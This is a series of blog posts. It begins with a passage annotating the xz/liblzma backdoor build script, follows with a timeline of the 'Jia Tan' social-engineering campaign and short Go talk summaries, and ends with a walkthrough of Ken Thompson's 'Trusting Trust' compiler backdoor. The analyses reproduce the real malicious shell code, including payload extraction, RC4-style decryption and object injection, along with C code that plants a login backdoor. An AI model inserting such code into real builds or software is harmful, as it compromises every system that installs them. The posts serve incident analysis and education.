k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))"
sed -i "s/$u/$k/" src/liblzma/Makefile || true
l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\
    export top_srcdir='\$(top_srcdir)'; \\\\\n\
    export CC='\$(CC)'; \\\\\n\
    export DEFS='\$(DEFS)'; \\\\\n\
    export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\
    export INCLUDES='\$(INCLUDES)'; \\\\\n\
    export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\
    export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\
    export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\
    export CFLAGS='\$(CFLAGS)'; \\\\\n\
    export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\
    export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\
    export libdir='\$(libdir)'; \\\\\n\
    export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\
    export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\
sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1";
sed -i "/$m/i$l" src/liblzma/Makefile || true
eval $zrKcHD

Shell quoting continues to be trippy, but we’ve reached the final change. This adds the line

AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))

to one place in the Makefile, and then adds a long script that sets up some variables, entirely as misdirection, that ends with

sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

The sed rpath command is just as much an obfuscated cat as sed "r\n" was, but -rpath is a very common linker flag, so at first glance you might not notice it’s next to the wrong command. Recalling the am__test and related lines added above, this pipeline ends up being equivalent to:

cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh

Our old friend! We know what this does, though. It runs the very script we are currently reading in this post. How recursive!

Make

Instead of running during configure in the tarball root directory, let’s mentally re-execute the script as it would run during make in the liblzma directory. In that context, the variables at the top have been set, but all the editing we just considered was skipped over by “if #1” not finding ./config.status. Now let’s keep executing the script.

fi

That fi closes “if #2”, which checked for a Debian or RPM build. The upcoming elif continues “if #1”, which checked for config.status, meaning now we are executing the part of the script that matters when run during make in the liblzma directory:

elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then

If we see the built objects for the crc code, we are running as part of make. Run the following code.

# Entirely new in 5.6.1
vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} |
    tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" |
    xz -F raw --lzma2 -dc`
fi
fi
fi
fi

We start this section with another extension hook. This time the magic strings are 'jV!.^%' and '%.R.1Z'. As before, there are no test files with these strings. This was for future extensibility.

On to the code shared with 5.6.0:

eval $zrKcKQ
if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then
exit 0
fi
if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then
exit 0
fi
if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
exit 0
fi
if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
exit 0
fi

Check that the ifunc-enabled CRC source files look right. Interestingly, Lasse Collin renamed crc_clmul.c to crc_x86_clmul.h on 2024-01-11. One has to assume that the person or team behind “Jia Tan” had been working on all this code well before then and that the first version checked crc_clmul.c. They were probably very annoyed when Lasse Collin accidentally broke their in-development backdoor by cleaning up the file names!

if ! grep -qs "$C" ../../libtool; then
exit 0
fi
if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
exit 0
fi

Check that the build configuration has the extra flags we added before.

if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then
exit 0
fi

Check that no one has added lazy to the linker options, which might override the -Wl,now. (This code really needs to run before the tables it patches get marked read-only!)

N=0
W=0
Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4`
eval $zrKcjv
if test -z "$Y"; then
N=0
W=88664
else
N=88664
W=0
fi

This is selecting between two different offset values depending on the content of gettext.m4. The distributed xz tarballs do not contain that string in gettext.m4 (it does appear in build-to-host.m4), so the grep finds nothing, $Y is the empty string, and the true case of the if executes: N=0 and W=88792.

xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" |

I inserted a line break here. Remember the “corrupt” test file script set i to the large head pipeline? It’s still set here, being used inside the script extracted from that pipeline. Before, the pipeline extracted 33,707 bytes and then we used the final 31,233 bytes. Now we are using the entire thing, which probably means just the prefix that we skipped before. The sed command is inserting a newline after every byte of that output, setting up for piping into the remainder of the command line:

LC_ALL=C awk '
BEGIN{
    FS="\n";RS="\n";ORS="";m=256;
    for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}
    i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}
}
{
    v=t["x" (NF<1?RS:$1)];
    i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];
    printf "%c",(v+k)%m
}' |

I inserted another line break here. What is this? @nugxperience on Twitter recognized it as an RC4-like decryption function, implemented in awk! Apparently the tr-based substitution cipher wasn’t secure enough for this step. This is the 5.6.1 version; the 5.6.0 version is the same except that the second loop counts to 4096 instead of 8192.

Back to the script:

xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

We finally made it to the end of this long line. The decrypted output is piped through xz to decompress it; the --single-stream flag says to stop at the end of the first xz EOF marker instead of looking for additional files on standard input. This avoids reading the section of the input that we extracted with the tail command before. Then the decompressed data is piped through a head pair that extracts either the full 88,792 byte input or zero bytes, depending on gettext.m4 from before, and writes it to liblzma_la-crc64-fast.o. In our build, we are taking the full input.

if ! test -f liblzma_la-crc64-fast.o; then
exit 0
fi

If all that failed, stop quietly.

cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true

Wait what? Oh! Notice the two different file names crc64_fast versus crc64-fast. And neither of these is the one we just extracted. These are in .libs/, and the one we extracted is in the current directory. This is backing up the real file (the underscored one) into a file with a very similar name (the hyphenated one).

V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) &&
    defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) &&
    (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\n
    extern int _get_cpuid(int, void*, void*, void*, void*, void*);\n
    static inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4];
    success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16);
    const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19);
    return success && (r[2] & ecx_mask) == ecx_mask; }\n
    #else\n
    #define _is_arch_extension_supported is_arch_extension_supported'

This string $V begins with “#endif”, which is never a good sign. Let’s move on for now, but we’ll take a closer look at that text shortly.

eval $yosA
if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \
sed "/include \"crc_x86_clmul.h\"/a \\$V" | \
sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS \
    $CFLAGS -r liblzma_la-crc64-fast.o -x c -  $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then

This if statement is running a pipeline of sed commands piped into $CC with the arguments liblzma_la-crc64-fast.o (adding that object as an input to the compiler) and -x c - (compile a C program from standard input). That is, it rebuilds an edited copy of crc64_fast.c (a real xz source file) and merges the extracted malicious .o file into the resulting object, overwriting the underscored real object file that would have been built originally for crc64_fast.c. The sed 1i tells the compiler the file name to record in debug info, since the compiler is reading standard input—very tidy! But what are the edits?

The file starts out looking like:

...
#if defined(CRC_X86_CLMUL)
#   define BUILDING_CRC64_CLMUL
#   include "crc_x86_clmul.h"
#endif
...
static crc64_func_type
crc64_resolve(void)
{
    return is_arch_extension_supported()
            ? &crc64_arch_optimized : &crc64_generic;
}

The sed commands add an _ prefix to the name of the function in the return condition, and then add $V after the include line, producing (with reformatting of the C code):

# 0 "path/to/src/liblzma/check/crc64_fast.c"
...
#if defined(CRC_X86_CLMUL)
#   define BUILDING_CRC64_CLMUL
#   include "crc_x86_clmul.h"
#endif

#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && \
    defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && \
    (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))

extern int _get_cpuid(int, void*, void*, void*, void*, void*);

static inline bool _is_arch_extension_supported(void) {
    int success = 1;
    uint32_t r[4];
    success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16);
    const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19);
    return success && (r[2] & ecx_mask) == ecx_mask;
}

#else
#define _is_arch_extension_supported is_arch_extension_supported
#endif
...
static crc64_func_type
crc64_resolve(void)
{
    return _is_arch_extension_supported()
            ? &crc64_arch_optimized : &crc64_generic;
}

That is, the crc64_resolve function, which is the ifunc resolver that gets run early in dynamic loading, before the GOT and PLT have been marked read-only, is now calling the newly inserted _is_arch_extension_supported, which calls _get_cpuid. This still looks like plausible code, since this is pretty similar to the real is_arch_extension_supported. But _get_cpuid is provided by the backdoor .o, and it does a lot more before returning the cpuid information. In particular it rewrites the GOT and PLT to hijack calls to RSA_public_decrypt.

But let’s get back to the shell script, which is still running from inside src/liblzma/Makefile and just successfully inserted the backdoor into .libs/liblzma_la-crc64_fast.o. We are now in the if compiler success case:

cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true
eval $BPep
if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | \
sed "/include \"crc32_arm64.h\"/a \\$V" | \
sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS \
    $CFLAGS -r -x c -  $P -o .libs/liblzma_la-crc32_fast.o; then

This does the same thing for crc32_fast.c, except it doesn’t add the backdoored object code. We don’t want two copies of that in the build. It is unclear why the script bothers to intercept both the crc32 and crc64 ifuncs; either one should have sufficed. Perhaps they wanted the dispatch code for both to look similar in a debugger. Now we’re in the doubly nested if compiler success case:

eval $RgYB
if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then

If we can relink the .la file, then...

if test ! -f .libs/liblzma.so; then
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi

If the relink succeeded but didn’t write the file, assume it failed and restore the backups.

rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true

No matter what, remove the libraries. (The Makefile link step is presumably going to happen next and recreate them.)

else
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi

This is the else for the link failing. Restore from backups.

rm -f .libs/liblzma_la-crc32-fast.o || true
rm -f .libs/liblzma_la-crc64-fast.o || true

Now we are in the inner compiler success case. Delete backups.

else
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi

This is the else for the crc32 compilation failing. Restore from backups.

else
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi

This is the else for the crc64 compilation failing. Restore from backup. (This is not the cleanest shell script in the world!)

rm -f liblzma_la-crc64-fast.o || true

Now we are at the end of the Makefile section of the script. Delete the backup.

fi
eval $DHLd
$

Close the “elif we’re in a Makefile”, one more extension point/debug print, and we’re done! The script has injected the object file into the objects built during make, leaving no trace behind.

Timeline of the xz open source attack

2024-04-01T23:23:00-04:00

Over a period of over two years, an attacker using the name “Jia Tan” worked as a diligent, effective contributor to the xz compression library, eventually being granted commit access and maintainership. Using that access, they installed a very subtle, carefully hidden backdoor into liblzma, a part of xz that also happens to be a dependency of OpenSSH sshd on Debian, Ubuntu, and Fedora, and other systemd-based Linux systems that patched sshd to link libsystemd. (Note that this does not include systems like Arch Linux, Gentoo, and NixOS, which do not patch sshd.) That backdoor watches for the attacker sending hidden commands at the start of an SSH session, giving the attacker the ability to run an arbitrary command on the target system without logging in: unauthenticated, targeted remote code execution.

The attack was publicly disclosed on March 29, 2024 and appears to be the first serious known supply chain attack on widely used open source software. It marks a watershed moment in open source supply chain security, for better or worse.

This post is a detailed timeline that I have constructed of the social engineering aspect of the attack, which appears to date back to late 2021. (See also my analysis of the attack script.)

Corrections or additions welcome on Bluesky, Mastodon, or email.

Prologue

2005–2008: Lasse Collin, with help from others, designs the .xz file format using the LZMA compression algorithm, which compresses files to about 70% of what gzip did [1]. Over time this format becomes widely used for compressing tar files, Linux kernel images, and many other uses.

Jia Tan arrives on scene, with supporting cast

2021-10-29: Jia Tan sends first, innocuous patch to the xz-devel mailing list, adding “.editorconfig” file.

2021-11-29: Jia Tan sends second innocuous patch to the xz-devel mailing list, fixing an apparent reproducible build problem. More patches that seem (even in retrospect) to be fine follow.

2022-02-07: Lasse Collin merges first commit with “jiat0218@gmail.com” as author in git metadata (“liblzma: Add NULL checks to LZMA and LZMA2 properties encoders”).

2022-04-19: Jia Tan sends yet another innocuous patch to the xz-devel mailing list.

2022-04-22: “Jigar Kumar” sends first of a few emails complaining about Jia Tan’s patch not landing. (“Patches spend years on this mailing list. There is no reason to think anything is coming soon.”) At this point, Lasse Collin has already landed four of Jia Tan’s patches, marked by “Thanks to Jia Tan” in the commit message.

2022-05-19: “Dennis Ens” sends mail to xz-devel asking if XZ for Java is maintained.

2022-05-19: Lasse Collin replies apologizing for slowness and adds “Jia Tan has helped me off-list with XZ Utils and he might have a bigger role in the future at least with XZ Utils. It’s clear that my resources are too limited (thus the many emails waiting for replies) so something has to change in the long term.”

2022-05-27: Jigar Kumar sends pressure email to patch thread. “Over 1 month and no closer to being merged. Not a surprise.”

2022-06-07: Jigar Kumar sends pressure email to Java thread. “Progress will not happen until there is new maintainer. XZ for C has sparse commit log too. Dennis you are better off waiting until new maintainer happens or fork yourself. Submitting patches here has no purpose these days. The current maintainer lost interest or doesn’t care to maintain anymore. It is sad to see for a repo like this.”

2022-06-08: Lasse Collin pushes back. “I haven’t lost interest but my ability to care has been fairly limited mostly due to longterm mental health issues but also due to some other things. Recently I’ve worked off-list a bit with Jia Tan on XZ Utils and perhaps he will have a bigger role in the future, we’ll see. It’s also good to keep in mind that this is an unpaid hobby project.”

2022-06-10: Lasse Collin merges first commit with “Jia Tan” as author in git metadata (“Tests: Created tests for hardware functions”). Note also that there was one earlier commit on 2022-02-07 that had the full name set only to jiat75.

2022-06-14: Lasse Collin merges only commit with “jiat75@gmail.com” as author. This could have been a temporary git misconfiguration on Jia Tan’s side forgetting their fake email address.

2022-06-14: Jugar Kumar sends pressure email. “With your current rate, I very doubt to see 5.4.0 release this year. The only progress since april has been small changes to test code. You ignore the many patches bit rotting away on this mailing list. Right now you choke your repo. Why wait until 5.4.0 to change maintainer? Why delay what your repo needs?”

2022-06-21: Dennis Ens sends pressure email. “I am sorry about your mental health issues, but its important to be aware of your own limits. I get that this is a hobby project for all contributors, but the community desires more. Why not pass on maintainership for XZ for C so you can give XZ for Java more attention? Or pass on XZ for Java to someone else to focus on XZ for C? Trying to maintain both means that neither are maintained well.”

2022-06-22: Jigar Kumar sends pressure email to C patch thread. “Is there any progress on this? Jia I see you have recent commits. Why can’t you commit this yourself?”

2022-06-29: Lasse Collin replies: “As I have hinted in earlier emails, Jia Tan may have a bigger role in the project in the future. He has been helping a lot off-list and is practically a co-maintainer already. :-) I know that not much has happened in the git repository yet but things happen in small steps. In any case some change in maintainership is already in progress at least for XZ Utils.”

Jia Tan becomes maintainer

At this point Lasse seems to have started working even more closely with Jia Tan. Brian Krebs observes that many of these email addresses never appeared elsewhere on the internet, even in data breaches (nor again in xz-devel). It seems likely that they were fakes created to push Lasse to give Jia more control. It worked. Over the next few months, Jia started replying to threads on xz-devel authoritatively about the upcoming 5.4.0 release.

2022-09-27: Jia Tan gives release summary for 5.4.0. (“The 5.4.0 release that will contain the multi threaded decoder is planned for December. The list of open issues related to 5..4.0 [sic] in general that I am tracking are...”)

2022-10-28: Jia Tan added to the Tukaani organization on GitHub. Being an organization member does not imply any special access, but it is a necessary step before granting maintainer access.

2022-11-30: Lasse Collin changes bug report email from his personal address to an alias that goes to him and Jia Tan, notes in README that “the project maintainers Lasse Collin and Jia Tan can be reached via xz@tukaani.org”.

2022-12-30: Jia Tan merges a batch of commits directly into the xz repo (“CMake: Update .gitignore for CMake artifacts from in source build”). At this point we know they have commit access. Interestingly, a few commits later in the same batch is the only commit with a different full name: “Jia Cheong Tan”.

2023-01-11: Lasse Collin tags and builds his final release, v5.4.1.

2023-03-18: Jia Tan tags and builds their first release, v5.4.2.

2023-03-20: Jia Tan updates Google oss-fuzz configuration to send bugs to them.

2023-06-22: Hans Jansen sends a pair of patches, merged by Lasse Collin, that use the “GNU indirect function” feature to select a fast CRC function at startup time. The final commit is reworked by Lasse Collin and merged by Jia Tan. This change is important because it provides a hook by which the backdoor code can modify the global function tables before they are remapped read-only. While this change could be an innocent performance optimization by itself, Hans Jansen returns in 2024 to promote the backdoored xz and otherwise does not exist on the internet.

2023-07-07: Jia Tan disables ifunc support during oss-fuzz builds, claiming ifunc is incompatible with address sanitizer. This may well be innocuous on its own, although it is also more groundwork for using ifunc later.

2024-01-19: Jia Tan moves web site to GitHub pages, giving them control over the XZ Utils web page. Lasse Collin presumably created the DNS records for the xz.tukaani.org subdomain that points to GitHub pages. After the attack was discovered, Lasse Collin deleted this DNS record to move back to tukaani.org, which he controls.

Attack begins

2024-02-23: Jia Tan merges hidden backdoor binary code well hidden inside some binary test input files. The README already said (from long before Jia Tan showed up) “This directory contains bunch of files to test handling of .xz, .lzma (LZMA_Alone), and .lz (lzip) files in decoder implementations. Many of the files have been created by hand with a hex editor, thus there is no better “source code” than the files themselves.” Having these kinds of test files is very common for this kind of library. Jia Tan took advantage of this to add a few files that wouldn’t be carefully reviewed.

2024-02-24: Jia Tan tags and builds v5.6.0 and publishes an xz-5.6.0.tar.gz distribution with an extra, malicious build-to-host.m4 that adds the backdoor when building a deb/rpm package. This m4 file is not present in the source repository, but many other legitimate ones are added during package as well, so it’s not suspicious by itself. But the script has been modified from the usual copy to add the backdoor. See my xz attack shell script walkthrough post for more.

2024-02-24: Gentoo starts seeing crashes in 5.6.0. This seems to be an actual ifunc bug, rather than a bug in the hidden backdoor, since this is the first xz with Hans Jansen’s ifunc changes, and Gentoo does not patch sshd to use libsystemd, so it doesn’t have the backdoor.

2024-02-26: Debian adds xz-utils 5.6.0-0.1 to unstable.

2024-02-27: Jia Tan starts emailing Richard W.M. Jones to update Fedora 40 (privately confirmed by Rich Jones).

2024-02-28: Debian adds xz-utils 5.6.0-0.2 to unstable.

2024-02-28: Jia Tan breaks landlock detection in configure script by adding a subtle typo in the C program used to check for landlock support. The configure script tries to build and run the C program to check for landlock support, but since the C program has a syntax error, it will never build and run, and the script will always decide there is no landlock support. Lasse Collin is listed as the committer; he may have missed the subtle typo, or the author may be forged. Probably the former, since Jia Tan did not bother to forge committer on his many other changes. This patch seems to be setting up for something besides the sshd change, since landlock support is part of the xz command and not liblzma. Exactly what is unclear.

2024-02-29: On GitHub, @teknoraver sends pull request to stop linking liblzma into libsystemd. It appears that this would have defeated the attack. Kevin Beaumont speculates that knowing this was on the way may have accelerated the attacker’s schedule. @teknoraver commented on HN that the liblzma PR was one in a series of dependency slimming changes for libsystemd; there were two mentions of it in late January.

2024-03-04: RedHat distributions start seeing Valgrind errors in liblzma’s _get_cpuid (the entry to the backdoor). The race is on to fix this before the Linux distributions dig too deeply.

2024-03-05: The libsystemd PR is merged to remove liblzma. Another race is on, to get liblzma backdoor’ed before the distros break the approach entirely.

2024-03-05: Debian adds xz-utils 5.6.0-0.2 to testing.

2024-03-05: Jia Tan commits two ifunc bug fixes. These seem to be real fixes for the actual ifunc bug. One commit links to the Gentoo bug and also typos an upstream GCC bug.

2024-03-08: Jia Tan commits purported Valgrind fix. This is a misdirection, but an effective one.

2024-03-09: Jia Tan commits updated backdoor files. This is the actual Valgrind fix, changing the two test files containing the attack code. “The original files were generated with random local to my machine. To better reproduce these files in the future, a constant seed was used to recreate these files.”

2024-03-09: Jia Tan tags and build v5.6.1 and publishes xz 5.6.1 distribution, containing a new backdoor. To date I have not seen any analysis of how the old and new backdoors differ.

2024-03-20: Lasse Collin sends LKML a patch set replacing his personal email with both himself and Jia Tan as maintainers of the xz compression code in the kernel. There is no indication that Lasse Collin was acting nefariously here, just cleaning up references to himself as sole maintainer. Of course, Jia Tan may have prompted this, and being able to send xz patches to the Linux kernel would have been a nice point of leverage for Jia Tan’s future work. We’re not at trusting trust levels yet, but it would be one step closer.

2024-03-25: Hans Jansen is back (!), filing a Debian bug to get xz-utils updated to 5.6.1. Like in the 2022 pressure campaign, more name###@mailhost addresses that don’t otherwise exist on the internet show up to advocate for it.

2024-03-27: Debian updates to 5.6.1.

2024-03-28: Jia Tan files an Ubuntu bug to get xz-utils updated to 5.6.1 from Debian.

Attack detected

2024-03-28: Andres Freund discovers bug, privately notifies Debian and distros@openwall. RedHat assigns CVE-2024-3094.

2024-03-28: Debian rolls back 5.6.1, introducing 5.6.1+really5.4.5-1.

2024-03-28: Arch Linux changes 5.6.1 to build from Git.

2024-03-29: Andres Freund posts backdoor warning to public oss-security@openwall list, saying he found it “over the last weeks”.

2024-03-29: RedHat announces that the backdoored xz shipped in Fedora Rawhide and Fedora Linux 40 beta.

2024-03-30: Debian shuts down builds to rebuild their build machines using Debian stable (in case the malware xz escaped their sandbox?).

2024-03-30: Haiku OS moves to GitHub source repo snapshots.

Go Changes

2023-12-08T12:00:00-05:00

I opened GopherCon (USA) in October with the talk “Go Changes”, which looked at how Go evolves, the importance of data in making shared decisions, and why opt-in telemetry in the Go toolchain is a useful, effective, and appropriate new source of data.

I re-recorded it at home and have posted it here:

Links:

Errata:

There is a mistake in the probability discussion: (2/3)¹⁰⁰ is about 2.46×10^–18, not 1.94×10^–48. The latter is (1/3)¹⁰⁰. The probability of pulling 100 gophers without getting the third color remains vanishingly small. Apologies for the mistake.

Go Testing By Example

2023-12-05T08:00:00-05:00

I opened GopherCon Australia in early November with the talk “Go Testing By Example”. Being the first talk, there were some A/V issues, so I re-recorded it at home and have posted it here:

Here are the 20 tips from the talk:

Make it easy to add new test cases.
Use test coverage to find untested code.
Coverage is no substitute for thought.
Write exhaustive tests.
Separate test cases from test logic.
Look for special cases.
If you didn’t add a test, you didn’t fix the bug.
Not everything fits in a table.
Test cases can be in testdata files.
Compare against other implementations.
Make test failures readable.
If the answer can change, write code to update them.
Use txtar for multi-file test cases.
Annotate existing formats to create testing mini-languages.
Write parsers and printers to simplify tests.
Code quality is limited by test quality.
Scripts make good tests.
Try rsc.io/script for your own script-based test cases.
Improve your tests over time.
Aim for continuous deployment.

Enjoy!

Running the “Reflections on Trusting Trust” Compiler

2023-10-25T21:00:00-04:00

Supply chain security is a hot topic today, but it is a very old problem. In October 1983, 40 years ago this week, Ken Thompson chose supply chain security as the topic for his Turing award lecture, although the specific term wasn’t used back then. (The field of computer science was still young and small enough that the ACM conference where Ken spoke was the “Annual Conference on Computers.”) Ken’s lecture was later published in Communications of the ACM under the title “Reflections on Trusting Trust.” It is a classic paper, and a short one (3 pages); if you haven’t read it yet, you should. This post will still be here when you get back.

In the lecture, Ken explains in three steps how to modify a C compiler binary to insert a backdoor when compiling the “login” program, leaving no trace in the source code. In this post, we will run the backdoored compiler using Ken’s actual code. But first, a brief summary of the important parts of the lecture.

Step 1: Write a Self-Reproducing Program

Step 1 is to write a program that prints its own source code. Although the technique was not widely known in 1975, such a program is now known in computing as a “quine,” popularized by Douglas Hofstadter in Gödel, Escher, Bach. Here is a Python quine, from this collection:

s=’s=%r;print(s%%s)’;print(s%s)

And here is a slightly less cryptic Go quine:

package main
func main() { print(q + "\x60" + q + "\x60") }
var q = `package main
func main() { print(q + "\x60" + q + "\x60") }
var q = `

The general idea of the solution is to put the text of the program into a string literal, with some kind of placeholder where the string itself should be repeated. Then the program prints the string literal, substituting that same literal for the placeholder. In the Python version, the placeholder is %r; in the Go version, the placeholder is implicit at the end of the string. For more examples and explanation, see my post “Zip Files All The Way Down,” which uses a Lempel-Ziv quine to construct a zip file that contains itself.

Step 2: Compilers Learn

Step 2 is to notice that when a compiler compiles itself, there can be important details that persist only in the compiler binary, not in the actual source code. Ken gives the example of the numeric values of escape sequences in C strings. You can imagine a compiler containing code like this during the processing of escaped string literals:

c = next();
if(c == '\\') {
    c = next();
    if(c == 'n')
        c = '\n';
}

That code is responsible for processing the two character sequence \n in a string literal and turning it into a corresponding byte value, specifically ’\n’. But that’s a circular definition, and the first time you write code like that it won’t compile. So instead you write c = 10, you compile and install the compiler, and then you can change the code to c = ’\n’. The compiler has “learned” the value of ’\n’, but that value only appears in the compiler binary, not in the source code.

Step 3: Learn a Backdoor

Step 3 is to put these together to help the compiler “learn” to miscompile the target program (login in the lecture). It is fairly straightforward to write code in a compiler to recognize a particular input program and modify its code, but that code would be easy to find if the compiler source were inspected. Instead, we can go deeper, making two changes to the compiler:

Recognize login and insert the backdoor.
Recognize the compiler itself and insert the code for these two changes.

The “insert the code for these two changes” step requires being able to write a self-reproducing program: the code must reproduce itself into the new compiler binary. At this point, the compiler binary has “learned” the miscompilation steps, and the clean source code can be restored.

Running the Code

At the Southern California Linux Expo in March 2023, Ken gave the closing keynote, a delightful talk about his 75-year effort accumulating what must be the world’s largest privately held digital music collection, complete with actual jukeboxes and a player piano (video opens at 10m43s, when his talk begins). During the Q&A session, someone jokingly asked about the Turing award lecture, specifically “can you tell us right now whether you have a backdoor into every copy of gcc and Linux still today?” Ken replied:

I assume you’re talking about some paper I wrote a long time ago. No, I have no backdoor. That was very carefully controlled, because there were some spectacular fumbles before that. I got it released, or I got somebody to steal it from me, in a very controlled sense, and then tracked whether they found it or not. And they didn’t. But they broke it, because of some technical effect, but they didn’t find out what it was and then track it. So it never got out, if that’s what you’re talking about. I hate to say this in front of a big audience, but the one question I’ve been waiting for since I wrote that paper is “you got the code?” Never been asked. I still have the code.

Who could resist that invitation!? Immediately after watching the video on YouTube in September 2023, I emailed Ken and asked him for the code. Despite my being six months late, he said I was the first person to ask and mailed back an attachment called nih.a, a cryptic name for a cryptic program. (Ken tells me it does in fact stand for “not invented here.”) Normally today, .a files are archives containing compiler object files, but this one contains two source files.

The code applies cleanly to the C compiler from the Research Unix Sixth Edition (V6). I’ve posted an online emulator that runs V6 Unix programs and populated it with some old files from Ken and Dennis, including nih.a. Let’s actually run the code. You can follow along in the simulator.

Login as `ken`, password `ken`. (The password is normally not shown.)	login: ken Password: ken % who ken tty8 Aug 14 22:06 %
Change to and list the `nih` directory, discovering a Unix archive.	% chdir nih % ls nih.a
Extract `nih.a`.	% ar xv nih.a x x.c x rc
Let’s read `x.c`, a C program.	% cat x.c
Declare the global variable `nihflg`, of implied type `int`.	nihflg;
Define the function `codenih`, with implied return type `int` and no arguments. The compiler will be modified to call `codenih` during preprocessing, for each input line.	codenih() { char p,s; int i;
`cc -p` prints the preprocessor output instead of invoking the compiler back end. To avoid discovery, do nothing when `-p` is used. The implied return type of `codenih` is `int`, but early C allowed omitting the return value.	if(pflag) return;
Skip leading tabs in the line.	p=line; while(*p=='\t') p++;
Look for the line “`name = crypt(pwbuf);`” from `login.c`. If not found, jump to `l1`.	s="namep = crypt(pwbuf);"; for(i=0;i<21;i++) if(s[i]!=p[i]) goto l1;
Define `login` backdoor code `s`, which does: Check for the password “`codenih`”. If found, modify `namep` and `np` so that the code that follows in `login.c` will accept the password.	p=+i; s="for(c=0;c<8;c++)" "if(\"codenih\"[c]!=pwbuf[c])goto x1x;" "while(namep)namep++;" "while(np!=':')np++;x1x:";
With the `p=+i` from above, this is: `strcpy(p+i, s); return;`, appending the backdoor to the line. In early C, `+=` was spelled `=+`. The loop is `strcpy`, and `goto l4` jumps to the end of the function.	for(i=0;;i++) if(!(*p++=s[i])) break; goto l4;
